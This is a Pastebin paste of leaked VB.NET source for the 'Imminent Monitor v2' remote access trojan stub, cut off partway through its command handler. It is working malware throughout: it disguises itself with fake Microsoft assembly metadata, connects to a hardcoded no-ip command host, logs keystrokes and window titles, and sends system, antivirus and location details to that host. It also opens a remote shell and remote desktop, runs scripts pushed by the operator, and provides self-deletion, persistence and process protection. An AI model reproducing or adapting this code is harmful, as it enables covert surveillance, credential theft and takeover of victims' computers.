Guest User

Imminent Monitor v2 Stub

a guest
Sep 2nd, 2013
2,152
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 266.07 KB | None | 0 0
  1. 'Leak by Team |~Magnum~| - Mr. Alpha 1337
  2. Option Strict Off
  3. Option Explicit Off
  4.  
  5. #Region " Imports "
  6. Imports System
  7. Imports System.Reflection
  8. Imports System.Runtime.InteropServices
  9. Imports System.Net
  10. Imports System.Net.Sockets
  11. Imports System.Threading
  12. Imports System.IO
  13. Imports System.Text
  14. Imports System.Windows.Forms
  15. Imports System.Drawing
  16. Imports Microsoft.VisualBasic
  17. Imports System.Diagnostics
  18. Imports Microsoft.Win32
  19. Imports System.Collections.Generic
  20. Imports System.Collections
  21. Imports System.Data
  22. Imports System.Drawing.Imaging
  23. Imports System.Management
  24. Imports System.Net.NetworkInformation
  25. Imports System.Text.RegularExpressions
  26. Imports System.Globalization
  27. Imports System.Security.Principal
  28. Imports System.ComponentModel
  29. Imports System.Security.Cryptography
  30. Imports System.Security.AccessControl
  31. Imports System.Runtime.Serialization.Formatters.Binary
  32.  
  33. Imports AForge.Video, AForge.Video.DirectShow
  34. Imports System.IO.Compression
  35.  
  36. <Assembly: AssemblyTitleAttribute("Windows Sidebar")>
  37. <Assembly: AssemblyDescriptionAttribute("Windows Desktop Gadgets")>
  38. <Assembly: AssemblyCompanyAttribute("Microsoft")>
  39. <Assembly: AssemblyProductAttribute("Microsoft Windows Operating System")>
  40. <Assembly: AssemblyCopyrightAttribute("Microsoft Corperation. All rights reserved.")>
  41. <Assembly: AssemblyVersion("1.0.7600.1638")>
  42. <Assembly: AssemblyFileVersion("1.0.7600.1638")>
  43. #End Region
  44.  
  45. #Region " Main Module "
  46.  
  47. Module MainModule
  48.  
  49. #Region "Declarations"
  50.     Public Const serverVersion As String = "2.0.1.9"
  51.     Public SplitMark1 As Char = Chr(5)
  52.     Public splitMark2 As Char = Chr(6)
  53.     Public mainInfo As String
  54.     Public compilerSettings As CompilerStructure
  55.     Private connectionClient As TcpClient
  56.     Public remoteHost As String = "viridianhf.no-ip.info"
  57.     Public remotePort As Integer = 9002
  58.     Private serverMutex As Mutex
  59.     Private keyloggerHook As KeyHook
  60.     Private remoteCmd As RemoteCMD
  61.     Private connectionBuffer(8192 - 1) As Byte
  62.     Private connectionStream As NetworkStream
  63.     Public pressedKeys As String = Nothing
  64.     Public liveKeys As String = Nothing
  65.     Public viewedWindows As String = Nothing
  66.     Private readerThread As Thread
  67.     Private thumbnailThread As Thread
  68.     Public liveLogger As Boolean = False
  69.     Dim connectionThread As Thread
  70.     Dim connectionInformation As Thread
  71.  
  72.  
  73.     Private Const Salt As String = "#SALT"
  74.     Private Const Key As String = "#KEY"
  75.  
  76. #End Region
  77.  
  78. #Region "Loading"
  79.     Public Sub Main()
  80.         Try
  81.             AddHandler AppDomain.CurrentDomain.AssemblyResolve, AddressOf MyResolveEventHandler
  82.             Mutex()
  83.             InitValues()
  84.         Catch ex As Exception
  85.         End Try
  86.     End Sub
  87.     Function MyResolveEventHandler(sender As Object, args As ResolveEventArgs) As Reflection.Assembly
  88.         Try
  89.             If args.Name.ToLower().Contains("aforge") Then
  90.                 '  MsgBox(args.Name)
  91.                 If args.Name.ToLower.Contains("directshow") Then
  92.                     Dim resourceManager As New Resources.ResourceManager("f67169dfbf72c4ca285e9ee12e3e9ac5", Assembly.GetExecutingAssembly())
  93.                     Dim resourceBytes As Byte() = DirectCast(resourceManager.GetObject("f7cbe59e99a90b5cef6f94f966fd"), Byte()) 'directshow
  94.                     Return Reflection.Assembly.Load(Decompress(resourceBytes))
  95.                 Else
  96.                     Dim resourceManager As New Resources.ResourceManager("ae3e83e2fab3a7d8683d8eefabd1e74d", Assembly.GetExecutingAssembly())
  97.                     Dim resourceBytes As Byte() = DirectCast(resourceManager.GetObject("f13c496ecf7fd777ceb9e79ae285"), Byte()) ' aforgevideo
  98.                     Return Reflection.Assembly.Load(Decompress(resourceBytes))
  99.                 End If
  100.             End If
  101.         Catch ex As Exception
  102.         End Try
  103.  
  104.     End Function
  105.     Public Function Decompress(data As Byte()) As Byte()
  106.         Dim input As New MemoryStream()
  107.         input.Write(data, 0, data.Length)
  108.         input.Position = 0
  109.         Dim gzip As New GZipStream(input, CompressionMode.Decompress, True)
  110.         Dim output As New MemoryStream()
  111.         Dim buff As Byte() = New Byte(63) {}
  112.         Dim read As Integer = -1
  113.         read = gzip.Read(buff, 0, buff.Length)
  114.         While read > 0
  115.             output.Write(buff, 0, read)
  116.             read = gzip.Read(buff, 0, buff.Length)
  117.         End While
  118.         gzip.Close()
  119.         Return output.ToArray()
  120.     End Function
  121.     Dim objMutex As Mutex
  122.     Public Sub Mutex()
  123.         Try
  124.             objMutex = New Mutex(False, "{]=YX[[$Y=8Q<*8[O/I5PYFFY4MYBUEROX4<19ZK>#!]2@7TEW$3")
  125.             If objMutex.WaitOne(0, False) = False Then
  126.                 objMutex.Close()
  127.                 objMutex = Nothing
  128.                 End
  129.             End If
  130.         Catch ex As Exception
  131.         End Try
  132.     End Sub
  133. #End Region
  134.  
  135. #Region "Structures"
  136.     Public Structure CompilerStructure
  137.         Dim remoteHost As String
  138.         Dim remotePort As Integer
  139.         Dim serverMutex As String
  140.         Dim serverId As String
  141.         Dim enableInstallation As Boolean
  142.         Dim installationPath As InstallationPath
  143.         Dim installationFileName As String
  144.         Dim installationFolderName As String
  145.         Dim enableHklm As Boolean
  146.         Dim hklmServerName As String
  147.         Dim enableHKCU As Boolean
  148.         Dim hkcuServerName As String
  149.         Dim enableExplorer As Boolean
  150.         Dim explorerServerName As String
  151.         Dim UseStartupFold As Boolean
  152.         Dim StartupFoldname As String
  153.         Dim meltFile As Boolean
  154.         Dim hideFile As Boolean
  155.         Dim disableTaskManager As Boolean
  156.         Dim editCreationDate As Boolean
  157.         Dim disableZoneChecks As Boolean
  158.         Dim bsodProection As Boolean
  159.         Dim kernalSecurityProtection As Boolean
  160.         Dim registryPersistence As Boolean
  161.         Dim executeAsAdministrator As Boolean
  162.     End Structure
  163.  
  164.     Public Enum InstallationPath
  165.         Local = 1
  166.         Roaming = 2
  167.         Temp = 3
  168.         Users = 4
  169.     End Enum
  170.  
  171. #End Region
  172.  
  173. #Region "Logging"
  174.     Public Property LogLive() As Boolean
  175.  
  176.         Get
  177.             Return liveLogger
  178.         End Get
  179.         Set(ByVal value As Boolean)
  180.             liveLogger = value
  181.         End Set
  182.     End Property
  183.     Public Sub StartHook()
  184.         Try
  185.             Dim T As New Thread(AddressOf GetWindow)
  186.             T.SetApartmentState(ApartmentState.STA)
  187.             T.Start()
  188.             keyloggerHook = New KeyHook
  189.             keyloggerHook.Hook()
  190.             Dim saveThread As New Thread(AddressOf SaveLogs)
  191.             saveThread.SetApartmentState(ApartmentState.STA)
  192.             saveThread.IsBackground = True
  193.             saveThread.Start()
  194.             AddHandler keyloggerHook.KD, AddressOf Pressed
  195.         Catch ex As Exception
  196.         End Try
  197.     End Sub
  198.  
  199.     Public Sub Pressed(ByVal Key As Keys)
  200.         If liveLogger = True Then
  201.             liveKeys &= keyloggerHook.Feed(Key)
  202.         End If
  203.         pressedKeys &= keyloggerHook.Feed(Key)
  204.     End Sub
  205.  
  206.     Public Sub GetWindow()
  207.         Try
  208.             Do
  209.                 Thread.Sleep(300)
  210.                 If LastWindowStr <> GetActiveWindowTitle() Then
  211.                     LastWindowStr = GetActiveWindowTitle()
  212.                     pressedKeys &= vbNewLine & vbNewLine & "[" & LastWindowStr & "]" & vbNewLine
  213.                     If liveLogger Then
  214.                         liveKeys &= vbNewLine & vbNewLine & "[" & LastWindowStr & "]" & vbNewLine
  215.                     End If
  216.                 End If
  217.             Loop
  218.         Catch ex As Exception
  219.  
  220.         End Try
  221.  
  222.     End Sub
  223.  
  224.     Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  225.     Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
  226.     Dim LastWindowStr As String = Nothing
  227.  
  228.     Private Function GetActiveWindowTitle() As String
  229.         Try
  230.             Dim rawWindow As String = New String(Chr(0), 255)
  231.             GetWindowText(GetForegroundWindow, rawWindow, 255)
  232.             rawWindow = rawWindow.Substring(0, InStr(rawWindow, Chr(0)) - 1)
  233.             If rawWindow.Trim(Chr(0)).Trim = Nothing Then
  234.             Else
  235.                 Return rawWindow.Trim(Chr(0)).Trim
  236.             End If
  237.             Return Nothing
  238.         Catch ex As Exception
  239.  
  240.         End Try
  241.  
  242.     End Function
  243.     Dim keyloggerPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & Environment.UserName & ".txt"
  244.     Private Sub SaveLogs()
  245.         Try
  246.             Do
  247.                 Dim logEncryption As New Encryption
  248.                 Thread.Sleep(5000)
  249.                 If pressedKeys <> Nothing Then
  250.                     Try
  251.                         Dim logFile As String = logEncryption.Decrypt("Imminent", File.ReadAllText(keyloggerPath))
  252.                         File.WriteAllText(keyloggerPath, logEncryption.Encrypt("Imminent", logFile & pressedKeys))
  253.                         pressedKeys = Nothing
  254.                     Catch ex As Exception
  255.                     End Try
  256.                 End If
  257.             Loop
  258.         Catch ex As Exception
  259.  
  260.         End Try
  261.  
  262.     End Sub
  263.  
  264.     Public Sub Sendkey(ByVal keyc As String)
  265.         On Error Resume Next
  266.         SendKeys.SendWait(keyc)
  267.     End Sub
  268. #End Region
  269.  
  270. #Region "Startup"
  271.     Public Sub InitValues()
  272.         Try
  273.             Options()
  274.             compilerSettings.serverId = "###999###"
  275.             compilerSettings.remoteHost = remoteHost
  276.             compilerSettings.remotePort = remotePort
  277.             Dim locationStructure As SystemInformation.LocationInfo = SystemInformation.GetIPLatLong
  278.             mainInfo = Chr(CommandType.MainInformation) & SplitMark1 & SystemInformation.LAN & SplitMark1 & SystemInformation.OS & SplitMark1 & SystemInformation.ComputerName & SplitMark1 & SystemInformation.Username & SplitMark1 & SystemInformation.Country & SplitMark1 & Chr(CamControl.HasCam) & SplitMark1 & SystemInformation.Antivirus & SplitMark1 & SystemInformation.Firewall & SplitMark1 & Chr(SystemInformation.Privileges) & SplitMark1 & SystemInformation.GetLastInputTime & SplitMark1 & GetActiveWindowTitle() & SplitMark1 & locationStructure.Longitude & "/" & locationStructure.Latitude & SplitMark1 & locationStructure.Country & SplitMark1 & locationStructure.City & SplitMark1 & locationStructure.State & SplitMark1 & locationStructure.ISP & SplitMark1 & locationStructure.Organization & SplitMark1 & compilerSettings.serverId & SplitMark1 & serverVersion & SplitMark1 & compilerSettings.remotePort & SplitMark1 & Salt & SplitMark1
  279.             connectionThread = New Thread(AddressOf AttemptConnect)
  280.             connectionThread.Start()
  281.             Control.CheckForIllegalCrossThreadCalls = False
  282.             StartHook()
  283.             Dim logEncryption As New Encryption
  284.             If Not File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & Environment.UserName & ".txt") Then
  285.                 Dim sr As New StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & Environment.UserName & ".txt")
  286.                 sr.Write(logEncryption.Encrypt("Imminent", "New Log Started " & Date.Now.ToString & vbNewLine))
  287.                 sr.Close()
  288.                 sr.Dispose()
  289.             End If
  290.         Catch ex As Exception
  291.         End Try
  292.     End Sub
  293.  
  294.     Public Sub Options()
  295.         Try
  296.             compilerSettings.remoteHost = "###111###"
  297.             compilerSettings.remotePort = "###222###"
  298.             compilerSettings.serverMutex = "###333###"
  299.             compilerSettings.enableInstallation = False
  300.             compilerSettings.installationPath = 2
  301.             compilerSettings.installationFileName = "###444###"
  302.             compilerSettings.installationFolderName = "###555###"
  303.             compilerSettings.enableHklm = False
  304.             compilerSettings.hklmServerName = "###666###"
  305.             compilerSettings.enableHKCU = False
  306.             compilerSettings.hkcuServerName = "###777###"
  307.             compilerSettings.enableExplorer = False
  308.             compilerSettings.explorerServerName = "###888###"
  309.             compilerSettings.serverId = "###999###"
  310.             compilerSettings.UseStartupFold = False
  311.             compilerSettings.meltFile = False
  312.             compilerSettings.disableTaskManager = False
  313.             compilerSettings.editCreationDate = False
  314.             compilerSettings.disableZoneChecks = True
  315.             compilerSettings.bsodProection = False
  316.             compilerSettings.kernalSecurityProtection = True
  317.             compilerSettings.registryPersistence = False
  318.             compilerSettings.executeAsAdministrator = False
  319.             compilerSettings.hideFile = False
  320.             remoteHost = compilerSettings.remoteHost
  321.             remotePort = compilerSettings.remotePort
  322.             If compilerSettings.hideFile = True Then Hideme()
  323.             If compilerSettings.kernalSecurityProtection Then SelfProtection.ProtectProcess()
  324.             If compilerSettings.bsodProection Then SelfProtection.BsodProtect()
  325.             If compilerSettings.meltFile Then Melt()
  326.             If compilerSettings.disableTaskManager Then Dim T As New Thread(AddressOf DisableFunctions.DisableTaskManager) : T.Start(True)
  327.             If compilerSettings.disableZoneChecks Then Installation.DisableWarning(Application.StartupPath, Application.ExecutablePath.Substring(Application.ExecutablePath.LastIndexOf("\", StringComparison.Ordinal) + 1))
  328.             Select Case compilerSettings.installationPath
  329.                 Case 1
  330.                     Installation.InstallationPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) & "\"
  331.                 Case 2
  332.                     Installation.InstallationPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\"
  333.                 Case 3
  334.                     Installation.InstallationPath = Path.GetTempPath & "\"
  335.                 Case 4
  336.                     Installation.InstallationPath = Environment.GetEnvironmentVariable("userprofile") & "\"
  337.             End Select
  338.             If compilerSettings.enableHKCU Then
  339.                 If compilerSettings.enableInstallation Then Installation.Install(compilerSettings.installationFileName, compilerSettings.installationFolderName, compilerSettings.hkcuServerName, Installation.InstallArea.Hkcu)
  340.             End If
  341.             If compilerSettings.enableHklm Then
  342.                 If compilerSettings.enableInstallation Then Installation.Install(compilerSettings.installationFileName, compilerSettings.installationFolderName, compilerSettings.hklmServerName, Installation.InstallArea.Hklm)
  343.             End If
  344.             If compilerSettings.enableExplorer Or compilerSettings.UseStartupFold Then
  345.                 If Not compilerSettings.installationFileName.Contains(".exe") Then compilerSettings.installationFileName = compilerSettings.installationFileName
  346.                 If compilerSettings.enableInstallation Then Installation.Install(compilerSettings.installationFileName, compilerSettings.installationFolderName, compilerSettings.hkcuServerName, Installation.InstallArea.StartupDir)
  347.             End If
  348.             If compilerSettings.enableInstallation Then
  349.                 If compilerSettings.registryPersistence Then
  350.                     Dim T As New Thread(AddressOf Installation.RegPersistence)
  351.                     T.Start()
  352.                 End If
  353.             End If
  354.         Catch ex As Exception
  355.         End Try
  356.     End Sub
  357.     Public Sub Hideme()
  358.         Try
  359.             Dim strFInfo As New FileInfo(Application.ExecutablePath)
  360.             strFInfo.Attributes = FileAttributes.Hidden
  361.         Catch
  362.         End Try
  363.     End Sub
  364.     Public Sub Melt()
  365.         Try
  366.             Dim app As New FileInfo(Application.ExecutablePath)
  367.             Dim path As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & app.Name.ToLower.Replace(".exe", "")
  368.             If Application.StartupPath = path Then
  369.             Else
  370.                 If Not (Directory.Exists(path)) Then
  371.                     Directory.CreateDirectory(path)
  372.                 Else
  373.                     For Each file As String In Directory.GetFiles(path & "\")
  374.                         Dim MyFile As New FileInfo(file)
  375.                         Dim filetoDelete As String = MyFile.FullName
  376.                         IO.File.Delete(filetoDelete)
  377.                     Next
  378.                 End If
  379.                 File.Copy(Application.ExecutablePath, path & "\" & app.Name.ToLower)
  380.                 Process.Start(path & "\" & app.Name.ToLower)
  381.                 SelfProtection.UnProtectProcess()
  382.                 SelfProtection.BSODUnProtect()
  383.                 Dim Info As ProcessStartInfo = New ProcessStartInfo()
  384.                 Info.Arguments = "/C ping 1.1.1.1 -n 1 -w 1000 > Nul & Del """ & Application.ExecutablePath.ToString & """"
  385.                 Info.WindowStyle = ProcessWindowStyle.Hidden
  386.                 Info.CreateNoWindow = True
  387.                 Info.FileName = "cmd.exe"
  388.                 Process.Start(Info)
  389.                 End
  390.             End If
  391.         Catch
  392.         End Try
  393.     End Sub
  394. #End Region
  395.  
  396. #Region "Connection"
  397.     Public Sub SendStatus(ByVal status As String)
  398.         On Error Resume Next
  399.         Send(Chr(CommandType.SendStatus) & status)
  400.  
  401.     End Sub
  402.     Public Sub AttemptConnect()
  403.         connectionClient = New TcpClient()
  404.         While True
  405.             Try
  406.                 Console.WriteLine(String.Format("Attemping to connect to: {0}:{1}", remoteHost, remotePort))
  407.                 ConnectionKey = "123456"
  408.                 connectionClient.Connect(remoteHost, remotePort)
  409.                 connectionClient.SendBufferSize = 8192
  410.                 connectionClient.ReceiveBufferSize = 8192
  411.                 Select Case connectionClient.Connected
  412.                     Case True
  413.                         connectionStream = connectionClient.GetStream()
  414.                         Send(mainInfo)
  415.                         ConnectionKey = "123456"
  416.                         readerThread = New Thread(AddressOf Read)
  417.                         readerThread.SetApartmentState(ApartmentState.STA)
  418.                         readerThread.Start()
  419.                         connectionInformation = New Thread(AddressOf SendGenericInfo)
  420.                         connectionInformation.SetApartmentState(ApartmentState.STA)
  421.                         connectionInformation.Start()
  422.                         Console.WriteLine(String.Format("Connected to: {0}:{1}", remoteHost, remotePort))
  423.                         Exit While
  424.                 End Select
  425.             Catch ex As Exception
  426.  
  427.                 Console.WriteLine(String.Format("Failed to connect to: {0}:{1}", remoteHost, remotePort, ex.Message))
  428.                 Thread.Sleep(4000)
  429.             End Try
  430.         End While
  431.     End Sub
  432. #End Region
  433.  
  434. #Region "Generic Data Sending Function"
  435.  
  436.     Public ConnectionKey As String = "123456"
  437.  
  438.     Public Function Send(ByVal data As String) As Boolean
  439.         Try
  440.             Dim Message As Byte()
  441.  
  442.  
  443.             If data.Length = 1 Then
  444.                 Message = Encoding.UTF8.GetBytes(data & Chr(&H3))
  445.             Else
  446.                 Dim E As New Encryption
  447.                 Message = Encoding.UTF8.GetBytes(data(0) & E.RXOREncrypt(data.Substring(1), ConnectionKey) & Chr(&H3))
  448.             End If
  449.  
  450.             connectionClient.Client.SendBufferSize = Message.Length
  451.             connectionStream.Write(Message, 0, Message.Length)
  452.             Return True
  453.         Catch ex As Exception
  454.             Return False
  455.         End Try
  456.     End Function
  457.  
  458.     Public Sub SendGenericInfo()
  459.  
  460.         Do
  461.             Try
  462.                 Thread.Sleep(60000)
  463.                 Send(Chr(CommandType.GenericInfo) & SystemInformation.GetLastInputTime & SplitMark1 & GetActiveWindowTitle())
  464.             Catch ex As Exception
  465.                 If Not connectionClient Is Nothing Then
  466.                     If Not connectionClient.Connected Then Exit Sub
  467.                 Else
  468.                     Exit Sub
  469.                 End If
  470.             End Try
  471.         Loop
  472.     End Sub
  473. #End Region
  474.  
  475. #Region "Read Data From Stream"
  476.     Public Sub Read()
  477.         Try
  478.             While True
  479.                 If connectionStream.Read(connectionBuffer, 0, connectionBuffer.Length) = 0 Then Exit While
  480.                 HandleData(connectionBuffer)
  481.                 Array.Clear(connectionBuffer, 0, connectionBuffer.Length)
  482.             End While
  483.             AttemptConnect()
  484.         Catch
  485.             AttemptConnect()
  486.         End Try
  487.     End Sub
  488. #End Region
  489.  
  490. #Region "Handle Data From Stream"
  491.     Dim R As New Removal
  492.     Public Const SCREEN_VIEW_START As Byte = 1
  493.     Public Const SCREEN_VIEW_STOP As Byte = 2
  494.     Public Sub HandleData(ByVal buf() As Byte)
  495.         Try
  496.             Dim S As New StressTesting()
  497.             Dim commandString As String = System.Text.Encoding.UTF8.GetString(buf).Trim(Chr(0))
  498.             Select Case buf(0)
  499.                 Case CommandType.Ping
  500.                     Send(Chr(CommandType.Ping))
  501.                     SendStatus("Ping request sent...")
  502.                 Case CommandType.IdleTime
  503.                     Send(Chr(CommandType.IdleTime) & SystemInformation.GetLastInputTime)
  504.                 Case CommandType.ThumbTask
  505.  
  506.                     Select Case buf(1)
  507.                         Case SCREEN_VIEW_START
  508.                             If Not thumbnailThread Is Nothing Then
  509.                                 If thumbnailThread.IsAlive Then
  510.                                     thumbnailThread.Abort()
  511.                                 End If
  512.                             End If
  513.                             thumbnailThread = New Thread(AddressOf StreamThumb)
  514.                             thumbnailThread.IsBackground = True
  515.                             thumbnailThread.SetApartmentState(ApartmentState.STA)
  516.                             thumbnailThread.Start()
  517.                         Case SCREEN_VIEW_STOP
  518.                             If Not thumbnailThread Is Nothing Then
  519.                                 If thumbnailThread.IsAlive Then
  520.                                     thumbnailThread.Abort()
  521.                                 End If
  522.                             End If
  523.                     End Select
  524.                     Exit Select
  525.                 Case CommandType.Thumbnail
  526.                     ImageManaging.SendThumbnail(commandString.Remove(0, 1))
  527.                 Case (CommandType.RemoteDesktop)
  528.                     Dim Splits() As String = commandString.Split(SplitMark1)
  529.                     Dim NewRemoteDesktop As New RemoteDesktop(Splits(1), remoteHost, compilerSettings.remotePort, Splits(2))
  530.                     SendStatus("Remote desktop started...")
  531.                     Exit Select
  532.                 Case CommandType.RemoteKeylogger
  533.                     Dim Splits() As String = commandString.Split(SplitMark1)
  534.                     Dim L As New LogManaging
  535.                     L.InitializeTransfer(Splits(1), Asc(Splits(2)), Asc(Splits(3)), keyloggerHook)
  536.                     SendStatus("Downloading keylogs...")
  537.                     Exit Select
  538.                 Case CommandType.StartRemoteCMD
  539.                     remoteCmd = New RemoteCMD(commandString.Split(SplitMark1)(1), remoteHost, compilerSettings.remotePort)
  540.                     SendStatus("Opening remote cmd...")
  541.                     Exit Select
  542.                 Case CommandType.RemoteCMDInput
  543.                     WriteCmdInput(commandString.Split(SplitMark1)(1))
  544.                     Exit Select
  545.                 Case CommandType.Processes
  546.                     ProcessManaging.SendProcesses(commandString.Split(SplitMark1)(1))
  547.                     SendStatus("Process list sent...")
  548.                     Exit Select
  549.                 Case CommandType.Windows
  550.                     WindowManaging.SendWindows(commandString.Split(SplitMark1)(1))
  551.                     SendStatus("active windows sent...")
  552.                     Exit Select
  553.                 Case CommandType.FilesFolders
  554.                     FileManaging.SendFilesFolders(commandString)
  555.  
  556.                     Exit Select
  557.                 Case CommandType.KillProcess
  558.                     If ProcessManaging.KillProcess(commandString.Split(SplitMark1)(1)) Then
  559.                         SendStatus("Killed process: " & commandString.Split(SplitMark1)(1))
  560.                     Else
  561.                     End If
  562.                     Exit Select
  563.                 Case CommandType.SuspendProcess
  564.                     If ProcessManaging.SuspendProcess(commandString.Split(SplitMark1)(1)) Then
  565.                         SendStatus("Suspend process: " & commandString.Split(SplitMark1)(1))
  566.                     Else
  567.                     End If
  568.                     Exit Select
  569.                 Case CommandType.ResumeProcess
  570.                     If ProcessManaging.ResumeProcess(commandString.Split(SplitMark1)(1)) Then
  571.                         SendStatus("Resume process: " & commandString.Split(SplitMark1)(1))
  572.                     Else
  573.                     End If
  574.                     Exit Select
  575.                 Case CommandType.FreezeWindow
  576.                     If WindowManaging.FreezeWindow(commandString.Split(SplitMark1)(1)) Then
  577.                         SendStatus("Window frozen: " & commandString.Split(SplitMark1)(1))
  578.                     Else
  579.                     End If
  580.                     Exit Select
  581.                 Case CommandType.UnfreezeWindow
  582.                     If WindowManaging.UnfreezeWindow(commandString.Split(SplitMark1)(1)) Then
  583.                         SendStatus("Window unfrozen: " & commandString.Split(SplitMark1)(1))
  584.                     Else
  585.                     End If
  586.                     Exit Select
  587.                 Case CommandType.SetText
  588.                     Dim window As IntPtr = commandString.Split(SplitMark1)(1)
  589.                     If WindowManaging.SetText(window, commandString.Split(SplitMark1)(2)) Then
  590.                     Else
  591.                     End If
  592.                     Exit Select
  593.                 Case CommandType.WindowShow
  594.                     If WindowManaging.WindowShow(commandString.Split(SplitMark1)(1)) Then
  595.                         WindowManaging.WindowShow(commandString.Split(SplitMark1)(1))
  596.                     Else
  597.                     End If
  598.                     Exit Select
  599.                 Case CommandType.WindowHide
  600.                     If WindowManaging.WindowHide(commandString.Split(SplitMark1)(1)) Then
  601.                         WindowManaging.WindowShow(commandString.Split(SplitMark1)(1))
  602.                     Else
  603.                     End If
  604.                     Exit Select
  605.                 Case CommandType.CloseWindow
  606.                     If WindowManaging.CloseWindow(commandString.Split(SplitMark1)(1)) Then
  607.                     Else
  608.                     End If
  609.                     Exit Select
  610.                 Case CommandType.MinimizeWindow
  611.                     If WindowManaging.MinimizeWindow(commandString.Split(SplitMark1)(1)) Then
  612.                     Else
  613.                     End If
  614.                     Exit Select
  615.                 Case CommandType.RestoreWindow
  616.                     If WindowManaging.RestoreWindow(commandString.Split(SplitMark1)(1)) Then
  617.                     Else
  618.                     End If
  619.                     Exit Select
  620.                 Case CommandType.GetActiveWindow
  621.                     WindowManaging.GetActiveWindow()
  622.                     Exit Select
  623.                 Case CommandType.KeyDown
  624.                     InputManaging.SendKeyString(commandString.Split(SplitMark1)(1))
  625.                     Exit Select
  626.                 Case CommandType.KeyUp
  627.                     InputManaging.KeyUp((commandString.Split(SplitMark1)(1)))
  628.                     Exit Select
  629.                 Case CommandType.Uninstall
  630.                     SelfProtection.UnProtectProcess()
  631.                     SelfProtection.BSODUnProtect()
  632.                     Installation.UninstallServer()
  633.                     Installation.Selfdestruct(Application.ExecutablePath)
  634.                     End
  635.                 Case CommandType.ShutdownComputer
  636.                     SendStatus("Attempting to shutdown computer...")
  637.                     Process.Start("shutdown", "-s -f")
  638.                     Exit Select
  639.                 Case CommandType.RestartComputer
  640.                     SendStatus("Attempting to restart computer...")
  641.                     Process.Start("shutdown", "-r")
  642.                     Exit Select
  643.                 Case CommandType.LogOff
  644.                     SendStatus("Attempting to restart computer...")
  645.                     Process.Start("shutdown", "-l")
  646.                     Exit Select
  647.                 Case CommandType.Hibernate
  648.                     SendStatus("Attempting to hibernate computer...")
  649.                     Application.SetSuspendState(PowerState.Hibernate, True, True)
  650.                     Exit Select
  651.                 Case CommandType.Suspend
  652.                     SendStatus("Attempting to suspend computer...")
  653.                     Application.SetSuspendState(PowerState.Suspend, True, True)
  654.                     Exit Select
  655.                 Case CommandType.OpenCD
  656.                     SendStatus("CD drive opened...")
  657.                     mciSendStringA("set CDAudio door open", 0, 0, 0)
  658.                     Exit Select
  659.                 Case CommandType.CloseCD
  660.                     SendStatus("CD drive closed...")
  661.                     mciSendStringA("set CDAudio door closed", 0, 0, 0)
  662.                     Exit Select
  663.                 Case CommandType.HideTask
  664.                     SetWindowPos(FindWindow("Shell_traywnd", ""), 0, 0, 0, 0, 0, &H80)
  665.                     SendStatus("Task bar hidden...")
  666.                     Exit Select
  667.                 Case CommandType.ShowTask
  668.                     SetWindowPos(FindWindow("Shell_traywnd", ""), 0, 0, 0, 0, 0, &H40)
  669.                     SendStatus("Take bar shown...")
  670.                     Exit Select
  671.                 Case CommandType.LockTask
  672.                     EnableWindow(CInt(FindWindow("Shell_traywnd", vbNullString)), 0)
  673.                     SendStatus("Task bar locked...")
  674.                     Exit Select
  675.                 Case CommandType.Unlocktask
  676.                     EnableWindow(CInt(FindWindow("Shell_traywnd", vbNullString)), 1)
  677.                     SendStatus("Task bar unlocked...")
  678.                     Exit Select
  679.                 Case CommandType.MonOn
  680.                     SendMessageA(-1, &H112, &HF170, 2)
  681.                     SendStatus("Monitor on...")
  682.                     Exit Select
  683.                 Case CommandType.MonOff
  684.                     SendMessageA(-1, &H112, &HF170, -1)
  685.                     SendStatus("Monitor off...")
  686.                     Exit Select
  687.                 Case CommandType.MouseSwap
  688.                     SwapMouseButton(&H100&)
  689.                     SendStatus("Mouse swapped...")
  690.                     Exit Select
  691.                 Case CommandType.MouseReturn
  692.                     SwapMouseButton(&H0&)
  693.                     SendStatus("Mouse restored...")
  694.                     Exit Select
  695.                 Case CommandType.SendToWebsite
  696.                     Select Case commandString.Split(SplitMark1)(3)
  697.                         Case 0
  698.                             Dim i As Integer
  699.                             Do Until i = commandString.Split(SplitMark1)(2)
  700.                                 i = i + 1
  701.                                 Process.Start(commandString.Split(SplitMark1)(1))
  702.                                 Send(Chr(CommandType.SendToWebsite) & String.Format("Sent to site (visible): {0} times", i))
  703.                             Loop
  704.  
  705.                             SendStatus("Sent to website...")
  706.                         Case 1
  707.                             For i As Integer = 0 To commandString.Split(SplitMark1)(2)
  708.                                 Dim headerString As String = New WebClient().DownloadString(commandString.Split(SplitMark1)(1))
  709.                                 Send(Chr(CommandType.SendToWebsite) & String.Format("Sent to site (hidden): {0} times", i))
  710.                             Next
  711.                             SendStatus("Sent to website hidden...")
  712.                     End Select
  713.  
  714.                     Exit Select
  715.                 Case CommandType.HTML
  716.                     Dim Path As String = Environ("Temp") & "\" & New Random().Next(1, 50000) & ".html"
  717.                     Dim sr As New StreamWriter(Path, False)
  718.                     sr.Write(commandString.Remove(0, 1))
  719.                     sr.Close()
  720.                     Process.Start(Path)
  721.                     SendStatus("Html script executed...")
  722.                     Exit Select
  723.                 Case CommandType.VBS
  724.                     Dim Path As String = Environ("Temp") & "\" & New Random().Next(1, 50000) & ".vbs"
  725.                     Dim sr As New StreamWriter(Path, False)
  726.                     sr.Write(commandString.Remove(0, 1))
  727.                     sr.Close()
  728.                     Process.Start(Path)
  729.                     SendStatus("VBS script executed...")
  730.                     Exit Select
  731.                 Case CommandType.Batch
  732.                     Dim Path As String = Environ("Temp") & "\" & New Random().Next(1, 50000) & ".bat"
  733.                     Dim sr As New StreamWriter(Path, False)
  734.                     sr.Write(commandString.Remove(0, 1))
  735.                     sr.Close()
  736.                     Process.Start(Path)
  737.                     SendStatus("Batch script executed...")
  738.                     Exit Select
  739.                 Case CommandType.Beep
  740.                     My.Computer.Audio.PlaySystemSound(Media.SystemSounds.Beep)
  741.                     Exit Select
  742.                 Case CommandType.Asterisk
  743.                     My.Computer.Audio.PlaySystemSound(Media.SystemSounds.Asterisk)
  744.                     Exit Select
  745.                 Case CommandType.Exclamation
